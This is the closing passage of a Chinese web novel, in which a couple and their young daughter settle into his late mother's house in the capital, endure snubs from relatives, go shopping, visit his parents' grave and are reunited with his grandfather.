原本林奶奶想抱抱她,游雾州拒绝了,怕她想太多了,又补充道:“她不是刚出生的孩子,有点重,您还是别抱了。” “你五岁多我还走哪抱哪呢,她能有你重?”林奶奶有些不悦,但也没非要去抱,抬手摸了摸在余银怀里,乖乖趴着余愿愿的小臉,一脸慈爱:“愿愿真好看,还这么听话啊。” 她的喜欢是自然流露的,也不帶着强迫,让余银心里觉得她其实可能还挺好的。 至少是对游雾州和余愿愿。 并不像刚才林爷爷,雖然喜欢但也是建立在余愿愿是游雾州的孩子,而且还下意识可惜不是男孩。 林奶奶收回手,对余银小声道:“他这个手術做的时候,你们也不早说,万一留下什么后遗症咋办。” 怕余银误会什么,又解釋道:“我不是不让他动手術,就是怕出了什么问题,伤到了再。你们就要个闺女挺好,愿愿乖巧又听话,我喜欢的紧。” 余银明白了她什么意思,就说道:“医院是看过的,现在结扎手术很成熟,也没什么问题和后遗症。” 这毕竟也关乎着游雾州自己,他是肯定上心的。 游雾州在一旁听着,他问余银的意见,“咱们去招待所拿了东西,换个地方住吧。” 既然现在人也见到了,也就不用去住招待所了。 毕竟还是家里住着舒服些。 “是去爸爸以前的家嗎?”余愿愿抬起头。 “是啊。”余银点头,对游雾州道:“你安排就行。”- “好漂亮啊房子啊。”余愿愿看着造型十分优雅别致的棕红色小洋楼,发出赞叹。 余银也觉得这房子真好看,她们现在还坐着小汽车。 她戳了戳游雾州的腰,小声道:“你家里是因为资本家做派,才被举报下乡的嗎?” 这又是住洋楼,又是小汽车,怎么看都是资本家做派啊。 “不是。”游雾州直接否认,解釋道:“这房子是我母親留给我的,车是林家的,他们的房子比这要大得多,就跟那以前的大宅院一样,好几代人都在里面。” 大宅院? 是地主家那样的宅院嗎? 余银空咽了下,问他:“跟地主家的宅院一样吗?” 游雾州笑了下,点头道:“差不多,但比地主家的还要大,里面不止我爷爷们,还有二爷爷三爷爷,叔叔伯伯们,很多人的。” 余银这下明白了,她微啧一声:“难怪你不想回去。” 她说的回去不是不想回他外公家,而是不想回林宅。 游雾州笑了下,算是默认。 到了他们的房子,游雾州拿着东西下来,余银牽着余愿愿下车,前面的车子,林奶奶也下来了,一同来的还有林爷爷和医院的那群人。 “见州跟我说了,待会儿你帶着孩子先去后院玩。”林奶奶走过来,牽着余愿愿的另一只手,小声对余银道:“很多腌臢事,你和孩子听了也是污耳朵,愿愿现在也是能听懂事的年纪,待会儿的事,还是别让她听到了。” 她还能帮着游雾州说两句,但余银和余愿愿最好别在哪,有的人说话不太好听,难免余银和余愿愿会想多。 余银也知道,她点了点头,“没事,游雾州跟我说了,我待会儿带着她去后面院子里玩。” 小洋楼后院很大,也有人经常打理。后院有很多花,大部分都是余银和余愿愿没见过的。 游雾州轻车熟路的带着他俩过去,“我和他们谈点事,你先带着孩子在这玩,有什么事就去叫我一声。” “我知道,你去吧。”余银整理着他身上的衣服拍了拍他的衣袖,“不用担心我倆,你做的你的就是” “那我去了啊。”他说完又交代了这后院里大致的介绍,让余银也不致于一脸蒙,才准备离开。 游雾州见没人过来,在她额头上亲了一口才离开。 余银有些好笑,摸了摸他亲过的地方,嘴角扬起。 余愿愿一点也不觉得在后院玩,不去客廳听他们说话有什么不好的。 余银就坐在小亭子里的椅子上,她旁边还有两个女人,也带着孩子在这玩。 那两个女人打量了余银好几眼,满是探究,但更多是不屑。 余银无所谓,她是农村来的,会被城里人瞧不起很正常。 况且这样也不会少块肉,而且这房子也是游雾州母亲的,跟林家无关,她一点不自在都没有。 “你是女孩子,所以才不能进去。”有个小孩子对余愿愿大声吼道。 余愿愿看了眼余银,余银笑着微微摇了下头,余愿愿就不搭理那小女孩说的这话,接着自己玩自己的。 “媽媽,我说的就是真的。”那小女孩翘着小辫子,噔噔噔跑过来。 “她没教养,你不用跟她玩。”一位穿着粉色连衣裙的女人说道。 余愿愿怕那小女孩告状,她也跟着回亭子里听到这话反驳道:“哼,我爹说只有没教养的人,才会去说别人没教养。” 余银摸了摸她的头,柔声道:“怎么不去玩了,你玩你的吧。” 那粉色裙子的女人余愿愿回怼,脸色有些不太好看,她想说些什么,旁边黄色裙子的女人拉住她,不屑地说道:“你跟土包子一般见识什么,拉低身份了都。” “你们是身份身份啊?”余银捂着余愿愿的耳朵,佯装无辜道:“是有多高的身份,怎么就跟我坐一起啊?” 那客廳真以 为她很想进去一样,还是女孩就不能进去。 谁稀罕一样,余银冷哼一声,牵着余愿愿出去。 后院很大,又不止那一个亭子,她不想吵起来。 余愿愿被余银牵着,有些不明白,仰着头说:“娘,咱们为啥要换地方,应该她们走啊,这不是咱家吗?” 她爹说了,这就是她家,以后就是她的房子了。 “她们太烦人了,但又是客人,咱们还是要有点礼貌的。”余银解释道:“不然不就跟她们一样没教养了。” “那为啥她说我是女孩子,所以不能去客厅啊。”余愿愿接着问道。 余银摸了摸她的头发道:“因为客厅里说的话很不好听,娘都不想去听,听了耳朵都脏了,愿愿还小着,所以咱们倆才不想去。” “是不想去,而不是不能去哦。” “这样啊。”余愿愿若有所思点着头,她弯着眼笑道:“那我能不能也穿跟她一样的衣服,那裙子好漂亮啊。” 她的语气有些羡慕。 那小女孩穿的裙子闪亮亮的,雖然她也有小皮鞋和裙子,但没有那小女孩的华丽,还有那长长的白袜子,她都没有见过这样穿。 余愿愿因为今天去医院,余银就没给她新一点的衣服,而是比较旧一点的裙子,虽然没有补丁,但是也确实没那个小女孩穿的好。 余银顿住,她蹲下去,看着余愿愿那羡慕的眼神,认真道:“咱们等会儿就去買,買个比她的还还好看的。” “好。”余愿愿拍着手说。 余银站起身子,她可以被人看不起,但愿愿不行,她们又不是没钱,真是有些后悔刚才没给余愿愿换身衣服。 而且这几天等游雾州恢复的时间,他们也没带着孩子去逛逛,買点东西。 越想余银就心里越难受,她都忽略了女儿。 “愿愿,咱们待会儿就去买。”余银把正在走的余愿愿抱起来,又凑她脸上亲了一口,“你还有什么想要的吗,都告诉娘,都给你买。” “我好想要她头上戴的,还有那个白袜子。” “好,娘给你买,还有吗?” “那我要好多好多漂亮的衣服。” “行,娘都买,买多多的。” “我还想要糖地瓜,我最近听话没闹人。” “买,你一个人吃一份。” “哇!那愿愿以后会更听话的。”【你现在阅读的是 】 【大结局】 第89章 第89章圆满大结局 在后院发生的事,等游雾州们谈完话之后,余愿愿就告诉了他。 “爹,娘说给我買多多的漂亮衣服,还讓我吃一份糖地瓜呢。”余愿愿手比划着说。 能吃到一份糖地瓜,这对她来说太开心了。 游雾州闻言,微垂着眼看着余银,神色有些复杂,他抿了抿唇。 余银笑了笑,先他一步开口,“待会儿去買就是,我们又不是買不起穿不起。” 她耸了耸肩,无所谓地说着。 对余愿愿确实是有疏忽的愧疚,但她们并不是買不起。 游雾州张了张口,最后什么也没说,摇摇头。 看了她一眼,道:“中午去饭店吃吧,吃完直接去百貨商店。” 余银忍不住笑,点头道:“行,吃完就去,你钱可要帶够。” “放心。”游雾州眉目舒展的笑着。 他们吃完饭就去了百貨商店,为了好拿東西,在林奶奶走的时候,给他们留的司机和车没有拒绝。 首都的百货商店很繁华,什么都有,各种各样的漂亮衣服,看的人眼花缭乱。 游雾州先去帶着她们给余银买衣服,买了好几条裙子,还有外套,毛衣,大衣和棉袄。 他买余银就要,钱本来就是花的,而且游雾州不给她花给谁花。 手都拿不下了,游雾州去把東西拿出去放车上,才去给余愿愿买。 小孩子长得快,买的多,但也是买了几件大一点的,等她再大一点穿,还给虎丫和余庆也买了几件。 又去给余阿娘她们也都买了衣服,还在给余阿舅买衣服时,给他外公也买了两件。 最后给游雾州买衣服的时候,等他試完,直接拿了两件。 “怎么拿两件?”游雾州有些不解。 “给哥啊。”余银理所当然道:“你俩不是差不多高嗎,正好你还能帮他给試试,也不用怕大了小了。” 余金给游雾州买衣服可能也是这样,不然怎么每次都是刚好的。 他们总不能谁都买了,就是不给余金买吧。 游雾州手里拿着那衣服,突然覺得有些别扭,“我俩穿一样的?” “可是只是这个颜色的衣服啊。”余银说道:“而且你穿着很好看,这样颜色也很衬你。” 而且这个颜色挺好看的,她没见过游雾州穿这样的衣服,很好看,显得他腰细肩宽,反正就是特别好看。 一看他穿上这么好看,余银就能想到余金穿上什么样,这样去相親,能成的几率也更大一点。 “那好吧。”游雾州点头,凑到她耳边道:“我晚上穿给你好好看看。” 他说完,余银的脸就瞬间一热,看着商场里的人来人往,她不自在地偏了偏头。 想到医生的交代,余银委婉提醒道:“你今天刚拆线,为了以后,再忍忍吧。” 游雾州莫名感覺到一阵痛意,他脸色一顿,随后,依旧不怀好意道:“还有两周而已。” 余银:“……” 晚上他们回去,林奶奶就过来,还帶了个人,提了好多东西。 看到他们在客厅放着的大袋小袋的,愣了一瞬,笑道:“东西不嫌多,我也给你们买了不少东西来。” “这是孫嫂,见州小时候就是他帶着的,你们住这的时候,有什么不方便的,孫嫂也能帮衬下你们。”林奶奶说着,她顿了下,看着余银道:“余银,就叫?” 余银看了眼游雾州,他介绍道:“叫余银就行。” 孫嫂是林奶奶陪嫁过去的保姆,她笑着说:“见州,余银,愿愿。” 说完,孫嫂就开始收拾东西。 林奶奶上前拉住余银的手,“你们出去玩了?累不累?孙嫂手艺很好,你有什么忌口的直说就行。” 余银笑着点头,抱着余愿愿,讓她跟林奶奶親近親近。 游雾州下午和她说了,和林奶奶親近亲近也好…… 孙嫂做饭确实好吃,余愿愿可能是下午逛累了,都吃了不少。 林奶奶没在她们这多待,吃过饭就走了,但每天都会过来,上午把余愿愿带着出去,傍晚送回来。 给余银和游雾州小两口,腾了很多单独相处的时间。 但可惜他俩两个月就要遵医生的话,不能那什么。 林爺爺那边还没松口。在首都还要再待上一段日子,等他外公解放后,看要不要和他们一起出去。 但游雾州说差不多也就两个月不到,林爺爷就会松口。 余银不明白为什么,“为什么是两个月啊,不能提前嗎?” “因为两个月后,刚好是我父亲的忌日。”游雾州抿了抿唇,微微垂着眼道:“奶奶那边也在劝说,肯定会在父亲忌日前,讓外公出来。” 后院里的阳光很好,明媚的天气让人心情愉快,但还是在游雾州说话时,察覺到了一丝忧伤。 他这个人性子其实有点闷,有什么事都喜欢憋在心里。 五岁的游雾州应该是能記事的,他肯定见过他母亲,对父亲没多少記忆,但也会有模糊的感觉。 但从来没听过他想他爹娘,余银小时候常常就在想自己为什么没爹,在余阿舅对自己很好的时,她在某个瞬间也会想着,她爹会不会也对自己这样好。 但关于她爹一点记忆也没,也没听人提过。 而游雾州的父亲,她在孙嫂和林奶奶嘴里听过,是个很好的人,对游雾州也很好,游雾州小时候很依赖他的父亲。 余银伸出手抱住他,游雾州本 能地在她抱着时紧了紧,就听余银低声埋怨道:“游雾州,你为什么不带我和愿愿去祭奠你爹和娘啊,是不是你不想承認我们娘俩?” 她的头埋下游雾州胸口,说话时每个字都敲进游雾州心间。 语气里还带着淡淡的委屈。 游雾州垂眼看她,只能看到她的发顶,虽然看不清表情,但也能想象到她此刻定时撅着嘴吧,眼里带着笑意。 她是什么意思,游雾州知道。 他摸了摸她的发顶,柔声道:“就是打算这几天带你们过去看看的。” 余银脑袋蹭了蹭他的胸口,问他:“就只是看看,不介绍介绍?” “你啊……” 他们第二天就没讓林奶奶带余愿愿出去,一听说要去墓园,林奶奶眼就瞬间红了。 哽咽了一声,道:“我,我和你们一起去,成吗?” 她眼眶湿润,下一秒泪水就能掉下去,旁边的孙嫂也在用袖子擦着眼睛。 “太奶也去。”余愿愿还以为是不让林奶奶去,撅着嘴巴向游雾州撒娇,“爹。让太奶也去,一起去嘛。” 游雾州就没不同意,失笑道:“我没说不让太奶去。” 余银捏了捏她的鼻子,“你爹都没说话,瞧你紧张护着太奶的样子。” 余愿愿捧着脸,不好意思地笑了下。 去完墓园,游雾州的心情谈不上不好,但也不是很好,而林奶奶哭的太伤心,让孙嫂和司机送回林宅了。 余愿愿似乎也察觉到了气氛的不对,乖乖地带着,不说话也不鬧。 余银一路上拉着游雾州的手,什么也没说- 不知道是不是那天去祭奠,刺激到了林奶奶,那天之后林奶奶很来的次数就少了。 听孙嫂说,是在林宅和林爷爷鬧,孙嫂的女儿在此后林奶奶,有什么消息,她知道的也快。 正好过去了一个月,上辈子发生的日子也过去了两天,在这天,中午吃过饭,游雾州在樓上睡觉。 大概是这两天余愿愿生病了,他没怎么休息好,在白天的时候,余愿愿终于退烧了,精神也好了很多。 他这个午觉睡的十分安稳踏实。 等醒来后,房间里寂静一片,手里也空落落地。 转头发现床的另一边已经没有人了,他撑着被子坐起了,活动了一下有点僵硬的脖子。 看到了床头柜上放着的水,是淡褐色的,估摸着是煮的下火水,他端起一口一口喝完。 游雾州掀开被子下床,拿着空杯子踩着拖鞋下樓去,刚下楼,就听到后院里余愿愿欢快的笑声,还夹着余银的笑声。 他漾起唇角,把被子放进厨房,端起桌子上晾好水,朝着后院走去。 人越往后院靠近,院子里的声音就越清晰,林奶奶不知道在和谁说话,那声音不是林爷爷的,让他莫名觉得熟悉。 刚到后院,余愿愿就看到他了,朝他跑过来,“爹,你起来了。” 游雾州蹲下身子,半搂着她,把水递到余愿愿唇边,“喝点水再玩。” 余愿愿就着他的手,咕咚咕咚喝着。游雾州用袖子轻轻拭去她额头上的薄汗。 余银走了过来,笑眯眯地,一脸神秘地说,“游雾州,我说余愿愿闹人那劲也不像我啊,原来是随了你小时候啊。” “听外公和奶奶说,原来你小时候比愿愿还会磨人。” 余愿愿喝完水,重重的点头,“爹,你小时候怎么一个小时候吃一口饭,娘说你纯折麽人呢。” 听到她俩提自己小时候的事,游雾州有些不好意思,他轻咳一声,解释道:“那都是小时候了,还不懂事那时候。” “是吗?”余银笑道:“可外公说你都七八岁了,吃饭还要他喂,他不喂你,你就不吃。” “可不是嘛。”极其熟悉的声音响起,但却多了不同于记忆里的几分温和。 游雾州抬起头来,顿时愣在原地。 余银从他手里拿过杯子,戳了戳他脸,“不認识了?我可是见到第一眼就认出来这是外公。” 熟悉的面容就在游雾州眼前,和他离开时并无二样,甚至还要更精神些,仿佛他们就没分开过一样。 依旧是那个不怒自威,气质严肃,看起来让人会心生恐惧,但却在他小时候,就算他很闹人,也会一口一口给他喂饭的外公。 他们相依为命十几年。 游雾州的眼眶有些泛红,他突然说不出话来,喉结上下滚动着,唇齿间一片涩然,始终张不开口。 他抬眸下意识地看外公的腿。 外公也心有灵犀地,对他活动了下腿,严肃的面容浮起一抹笑来,微微点头。 “我还挺好的,见州。”【你现在阅读的是 】